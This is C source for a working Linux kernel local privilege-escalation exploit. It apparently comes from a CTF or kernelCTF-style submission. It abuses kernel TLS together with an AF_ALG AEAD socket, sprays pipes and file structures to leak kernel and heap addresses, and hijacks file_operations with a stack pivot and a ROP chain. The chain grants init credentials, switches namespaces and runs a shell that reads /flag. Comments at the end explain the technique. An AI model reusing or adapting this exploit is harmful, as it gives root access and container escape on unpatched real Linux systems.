#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/tls.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <netinet/tcp.h>
#include <linux/if_alg.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <pthread.h>
#include <string.h>
#include <sys/ipc.h>
#include <stdarg.h>
#include <dirent.h>
#include <sys/shm.h>

#define PAGE_SIZE 0x1000

typedef int64_t i64;
typedef int32_t i32;
typedef int16_t i16;
typedef int8_t i8;

typedef uint64_t u64;
typedef uint32_t u32;
typedef uint16_t u16;
typedef uint8_t u8;

struct file_operations {
	void *owner;
	void (*llseek) (void *, loff_t, int);
	ssize_t (*read) (void *, char *, loff_t *);
	ssize_t (*write) (void *, const char * , loff_t *);
	ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
	ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
	int (*iopoll)(struct kiocb *kiocb, struct io_comp_batch *,
			unsigned int flags);
	int (*iterate_shared) (void *, struct dir_context *);
	__poll_t (*poll) (void *, struct poll_table_struct *);
	long (*unlocked_ioctl) (void *, unsigned int, unsigned long);
	long (*compat_ioctl) (void *, unsigned int, unsigned long);
	int (*mmap) (void *, struct vm_area_struct *);
	unsigned long mmap_supported_flags;
	int (*open) (struct inode *, void *);
	int (*flush) (void *, int id);
	int (*release) (struct inode *, void *);
	int (*fsync) (void *, loff_t, loff_t, int datasync);
	int (*fasync) (int, void *, int);
	int (*lock) (void *, int, struct file_lock *);
	unsigned long (*get_unmapped_area)(void *, unsigned long, unsigned long, unsigned long, unsigned long);
	int (*check_flags)(int);
	int (*flock) (void *, int, struct file_lock *);
	ssize_t (*splice_write)(void* *, void *, loff_t *, size_t, unsigned int);
	ssize_t (*splice_read)(void *, loff_t *, void* *, size_t, unsigned int);
	void (*splice_eof)(void *file);
	int (*setlease)(void *, int, struct file_lock **, void **);
	long (*fallocate)(void *file, int mode, loff_t offset,
			  loff_t len);
	void (*show_fdinfo)(struct seq_file *m, void *f);

	ssize_t (*copy_file_range)(void *, loff_t, void *,
			loff_t, size_t, unsigned int);
	loff_t (*remap_file_range)(void *file_in, loff_t pos_in,
				   void *file_out, loff_t pos_out,
				   loff_t len, unsigned int remap_flags);
	int (*fadvise)(void *, loff_t, loff_t, int);
	int (*uring_cmd)(void *ioucmd, unsigned int issue_flags);
	int (*uring_cmd_iopoll)(void *, void *,
				unsigned int poll_flags);
};

u64 user_cs, user_ss, user_rflags, user_sp;
u64 kbase, heap_base, heap_leak, commit_creds, prepare_kernel_cred, \
kpti_trampoline, modprobe_path, init_cred;

#define _wait() getchar();
#define info(name, value) printf("%s: 0x%lx\n", name, value)

#define SYSCHK(x) ({ \
    typeof(x) __res = (x); \
    if (__res == (typeof(x))-1) \
    err(1, "SYSCHK(" #x ")"); \
    __res; \
})

int PORT=8888;
#define KEY "1234567890123456"   // 16 bytes key
#define IV  "abcdefghijkl"       // 12 bytes IV

#define OFFSET_FILE_FPOS (64)
#define OFFSET_FILE_FOP (176)
#define OFFSET_FILE_PRIV_DATA (200)
#define OFFSET_FILE_POS_LOCK_WAITLIST (48)
#define ALIGNED_FILE_SZ (256)
#define F_MODE (0x4f801fULL)

#define SHMEM_FILE_OPERATIONS (0x1c44a40)
#define SIGNALFD_FOPS (0x1c4cf00)
#define CORE_PATTERN (0x2db4460)

void save_state(){
    __asm__(
        "mov %%cs, %[cs];"
        "mov %%ss, %[ss];"
        "mov %%rsp, %[sp];"
        "pushf;"
        "pop %[rflags];"
        : [cs]"=r"(user_cs), [ss]"=r"(user_ss), [sp]"=r"(user_sp), [rflags]"=r"(user_rflags)
        :
        : "memory"
    );
	setbuf(stdin, 0);
	setbuf(stdout, 0);
	setbuf(stderr, 0);
    puts("[*] Saved state");
}

void die(char *mess, ...) {
    va_list arg;
    char buffer[0x1000];
    va_start(arg, mess);
    vsnprintf(buffer, sizeof(buffer), mess, arg);
    perror(buffer);
    exit(0);
}

cpu_set_t* pin_cpu(u32 cpu) {
    cpu_set_t* pwn_cpu = malloc(sizeof(cpu_set_t));
    if (!pwn_cpu) { die("%s: malloc fail", "pin_cpu"); }
    CPU_ZERO(pwn_cpu);
    CPU_SET(cpu, pwn_cpu);
    if (sched_setaffinity(0, sizeof(cpu_set_t), pwn_cpu)){
        die("sched_setaffinity");
    }
    return pwn_cpu;
}

int setup_ktls(int sockfd, int is_tx) {
    struct tls12_crypto_info_aes_ccm_128 crypto_info;
    memset(&crypto_info, 0, sizeof(crypto_info));
    crypto_info.info.version = TLS_1_2_VERSION;
    crypto_info.info.cipher_type = TLS_CIPHER_AES_CCM_128;
    memcpy(crypto_info.key, KEY, 16);
    memcpy(crypto_info.iv, IV, 8);

    setsockopt(sockfd, SOL_TCP, TCP_ULP, "tls", sizeof("tls"));

    int optname = is_tx ? TLS_TX : TLS_RX;
    if (setsockopt(sockfd, SOL_TLS, optname, &crypto_info, sizeof(crypto_info)) < 0) {
        perror("setsockopt kTLS");
        return -1;
    }

    return 0;
}

void run_server(int pipe) {
    pin_cpu(1);
    int server_fd, client_fd;
    struct sockaddr_in server_addr, client_addr;
    socklen_t addr_len = sizeof(client_addr);

    if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("socket");
        exit(1);
    }

    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(PORT);

    if (bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("bind");
        exit(1);
    }

    if (listen(server_fd, 5) < 0) {
        perror("listen");
        exit(1);
    }


    if ((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &addr_len)) < 0) {
        perror("accept");
        exit(1);
    }

    if (setup_ktls(client_fd, 0) < 0) {
        close(client_fd);
        close(server_fd);
        exit(1);
    }
    char buf[0x20];
    int bytes_received = recv(client_fd, buf, 0x20, 0);
    puts("recv done");
    if (bytes_received > 0) {
    } else {
        perror("recvmsg");
    }
    SYSCHK(read(pipe, buf, 1));
    puts("close server");
    close(client_fd);
    close(server_fd);
    exit(0);
}

void run_client() {
    sleep(2);

    int sockfd;
    struct sockaddr_in server_addr;

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("socket");
        exit(1);
    }

    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(PORT);
    inet_pton(AF_INET, "0.0.0.0", &server_addr.sin_addr);

    if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("connect");
        close(sockfd);
        exit(1);
    }

    if (setup_ktls(sockfd, 1) < 0) {
        close(sockfd);
        exit(1);
    }

    char buf[0x400];

    if (send(sockfd, buf, sizeof(buf), 0) < 0) {
        perror("sendmsg");
    } else {
    }

}

#define PIPE_SPRAY_NUM 100
int pipe_fd[PIPE_SPRAY_NUM][2];
char save_page[0x1000];

void getroot(void)
{
    char tmp[0x1000];
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        SYSCHK(write(pipe_fd[i][1], save_page, sizeof(save_page))); // restore page
        SYSCHK(read(pipe_fd[i][0], tmp, sizeof(tmp)));
    }

    puts("[+] We are Ro0ot!");
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);
    
    char* shell[] = {
        "/bin/sh",
        "-c",
        "/bin/cat /flag && echo ; echo o>/proc/sysrq-trigger",
        NULL,
    };
    execve(shell[0], shell, NULL);
}

void spray_pipe() {
    char buf[0x1000];
    memset(buf, 'C', sizeof(buf));

    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        write(pipe_fd[i][1], buf, sizeof(buf));
        usleep(100);
    }
}

int main(int argc, char *argv[]) {
    pin_cpu(0);
    save_state();
    if (argc > 1) {
        PORT = atoi(argv[1]);
    }
    else {
        srand(time(NULL));

        PORT = rand() % (65535 - 1024 + 1) + 1024;
    }
    int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type = "aead",
        .salg_name = "cryptd(ccm(aes))",
    };
    bind(sock, (struct sockaddr *)&sa, sizeof(sa));
    for (int i = 0; i < PIPE_SPRAY_NUM; i ++) {

        if (pipe(pipe_fd[i]) < 0) {
            printf("[x] failed to alloc %d pipe!", i);
            die("FAILED to create pipe!");
        }
    }
    int pipes[2];
    pipe(pipes);

    pid_t pid = fork();

    if (pid < 0) {
        perror("fork");
        exit(1);
    }

    if (pid == 0) {
        run_server(pipes[0]);
        puts("Server done");

    } else {
        pthread_t p;
        pthread_create(&p, 0, run_client, 0);
        pthread_join(p, 0);
    }
    pin_cpu(1);
    spray_pipe();
  
    SYSCHK(write(pipes[1], "A", 1));
    usleep(50);
    int spray_fds[0x80];
    char buff[1024] = {};
    for (int i = 0; i < sizeof(spray_fds)/4; i++) {
        spray_fds[i] = SYSCHK(open("/tmp/tmp_file", O_RDWR | O_CREAT, 0666));
        // Write i bytes so that the file sets f_pos = i.
        // This makes f_pos act as an index identifying the sprayed file object.
        SYSCHK(write(spray_fds[i], buff, i));
    }

    u64 buf[0x1000/8];
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        SYSCHK(read(pipe_fd[i][0], buf, sizeof(buf)));
        for (int j = 0; j < sizeof(buf)/8; j++)
            // f_mode (0x4f801f when open (O_RDWR | O_CREAT)) | f_iocb_flags (default = 0)
            if (buf[j] == (F_MODE << 32 | 0)) {
                goto buildrop;
            }
    }
    for (int i = 0; i < sizeof(spray_fds)/4; i++) {
        SYSCHK(close(spray_fds[i]));
    }
    puts("retry");
    usleep(5000);
    system(argv[0]);
    exit(0);
buildrop:
    // I preserved the page containing the filp objects so I could restore them later.
    // During the exploit I overwrote some of the filp structures with my ROP chain once I had arbitrary read/write access.
    // After spawning /bin/bash (in getroot), some of those corrupted file structures could be released, which might otherwise trigger a kernel panic.
    // To ensure the release process completes cleanly, I restore the page(filp obj) before letting the system free those objects.
    memcpy(save_page, buf, sizeof(buf));
    close(sock);
    // file->f_pos_lock->wait_list->next, default is &wait_list = file + OFFSET_FILE_POS_LOCK_WAITLIST
    heap_base = (buf[OFFSET_FILE_POS_LOCK_WAITLIST/sizeof(uint64_t)]-OFFSET_FILE_POS_LOCK_WAITLIST) >> 12 << 12;
    info("heap_base", heap_base);
    kbase = buf[OFFSET_FILE_FOP/sizeof(uint64_t)] - SHMEM_FILE_OPERATIONS;
    void *victim_file_addr = buf;
    // f_pos was set to i in the spraying loop, so this gives us the index i of the victim file (files[0]) and pivot file (files[1]) in spray_fds.
    size_t victim_file_idx = *(size_t *)(victim_file_addr + OFFSET_FILE_FPOS);
    size_t pivot_id = *(size_t *)(victim_file_addr+ALIGNED_FILE_SZ + OFFSET_FILE_FPOS);

	commit_creds = kbase+0x001fc260;
	prepare_kernel_cred = kbase+0x001fc510;
	init_cred = kbase+0x02c72ec0;
	kpti_trampoline = kbase+0x016010f0+54;
	u64 switch_task_namespaces = kbase+0x1f9f60;
	u64 find_task_by_vpid = kbase+0x1efe60;
	u64 init_nsproxy = kbase+0x2c729e0;
	u64 init_fs = kbase+0x2dad900;
	u64 copy_fs_struct = kbase+0x4f7c40;
	u64 pop_rdi = kbase+0x2932b;
	u64 pop_rsi = kbase+0xc6026;
	u64 pop_rcx = kbase+0x1abae;
	u64 push_rax_pop_rbx = kbase+0xb98b02;
	u64 xchg_rdi_rax = kbase+0xfceb4d;
	u64 add_rax_rdi = kbase+0xb97a;
	u64 mov_irax_rbx = kbase+0x112aaf2; // one pop 
	u64 magic_gadget = kbase+0xeed69; // push rdx ; pop rsp ; imul edi, edi, -0x7b ; ror byte ptr [rdi], 0x85 ; ret
    u64 current_fs_offset = 0x810;
    info("kbase", kbase);
    info("commit_creds", commit_creds);
    info("prepare_kernel_cred", prepare_kernel_cred);
    info("kpti_trampoline", kpti_trampoline);

    // files[1] to control RIP, pivot stack to files[2]
    u64* rop = victim_file_addr+ALIGNED_FILE_SZ*1;
    int idx = 0;
    idx++; // skip f_rcuhead->next
    // should not modify f_rcuhead->next; its default value is NULL, and it should be left that way to avoid potential issues.
	rop[idx++] = pop_rdi;
    idx++; // skip f_mode (4 byte) + f_iocb_flags (4 byte)
    // f_mode cannot be changed because it is used to check permissions in copy_file_range; if it is modified, the exploit will fail.
	rop[idx++] = kbase+0x79bb56; // ret 0xd8 (0xd8 = ALIGNED_FILE_SZ - idx*8 (5 * 8), after ret, rsp will point to files[2])
	rop[idx++] = pop_rdi+1; // ret


    // files[2] to create ROP chain
    idx = 0;
    rop = (char*)rop + ALIGNED_FILE_SZ; 
	rop[idx++] = pop_rdi;
	rop[idx++] = init_cred;
	rop[idx++] = commit_creds;
	rop[idx++] = pop_rdi;
	rop[idx++] = 1;
	rop[idx++] = find_task_by_vpid;
	rop[idx++] = xchg_rdi_rax;
	rop[idx++] = 0; //
	rop[idx++] = pop_rsi;
	rop[idx++] = init_nsproxy;
	rop[idx++] = switch_task_namespaces;
	rop[idx++] = pop_rdi;
	rop[idx++] = init_fs;
	rop[idx++] = copy_fs_struct;
	rop[idx++] = push_rax_pop_rbx;
	rop[idx++] = pop_rdi;
	rop[idx++] = getpid();
	rop[idx++] = find_task_by_vpid;
	rop[idx++] = pop_rdi;
	rop[idx++] = current_fs_offset;
	rop[idx++] = add_rax_rdi;
	rop[idx++] = mov_irax_rbx;
	rop[idx++] = 0; //
	rop[idx++] = kpti_trampoline;
	rop[idx++] = 0; //
	rop[idx++] = 0; //
	rop[idx++] = (uint64_t)getroot;
	rop[idx++] = user_cs;
	rop[idx++] = user_rflags;
	rop[idx++] = user_sp;
	rop[idx++] = user_ss;


    u64 fake_ops_offset = ALIGNED_FILE_SZ*3;
    // files[3] to fake file_operations
    struct file_operations *fake_fops = (struct file_operations *)((char *)buf + fake_ops_offset);

	fake_fops->copy_file_range = magic_gadget;
	fake_fops->remap_file_range = magic_gadget;
    // set file->f_op file victim_file_idx ( files[0] )
	buf[OFFSET_FILE_FOP/sizeof(uint64_t)] = heap_base + fake_ops_offset; 
    char tmp[0x1000];
    
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        SYSCHK(write(pipe_fd[i][1], buf, sizeof(buf)));
        SYSCHK(read(pipe_fd[i][0], tmp, sizeof(tmp)));
    }
    
    // offset_out > offset_in
	off_t offset_in = 0, offset_out = 1;
	copy_file_range(spray_fds[victim_file_idx], &offset_in, spray_fds[pivot_id], &offset_out, 1, 0);
    /*
    To gain RIP control, I make use of four file structures.

    - **files[0] (`victim_file_idx`)**: its `f_op` pointer is overwritten so that invoking `copy_file_range` dispatches execution to my `magic_gadget`.
    - **files[1] (`pivot_id`)**: I prepare three key gadgets here — `pop rdi; ret`, `ret 0xd8` and `ret`.
    These two files ( 0 & 1 ) are directly passed into `copy_file_range`, which means they must still satisfy kernel file checks, so I cannot host the full ROP chain on them.
    - **files[2]**: this file holds the actual ROP chain. After executing the `ret 0xd8` gadget, control flow pivots here,
    continuing execution of the chain.
    - **files[3]**: used to provide the fake `file_operations` structure that `files[0]` will dereference.

    After copy_file_range is invoked, the flow is:

    - `files[0]->copy_file_range` is called, which jumps to `magic_gadget(files[0](rdi), off_in(rsi), files[1](rdx), off_out(rcx), 1(r8), 0(r9))`.

    - At this point, `RIP` is redirected to the gadget sequence:

    ```
    push rdx ; pop rsp ; imul edi, edi, -0x7b ; ror byte ptr [rdi], 0x85 ; ret (magic_gadget)
    ```

    - The `push rdx ; pop rsp` pair pivots the stack to the address stored in `rdx` (which corresponds to `files[1]`).

    - Execution then performs `pop rdi ; ret` followed by `ret 0xd8`, which advances `rsp` into `files[2]`.

    - Since `files[2]` was prepared with the ROP chain, the pivot lands directly on it, and the chain executes as intended.

    */
    _wait();

    return 0;
}
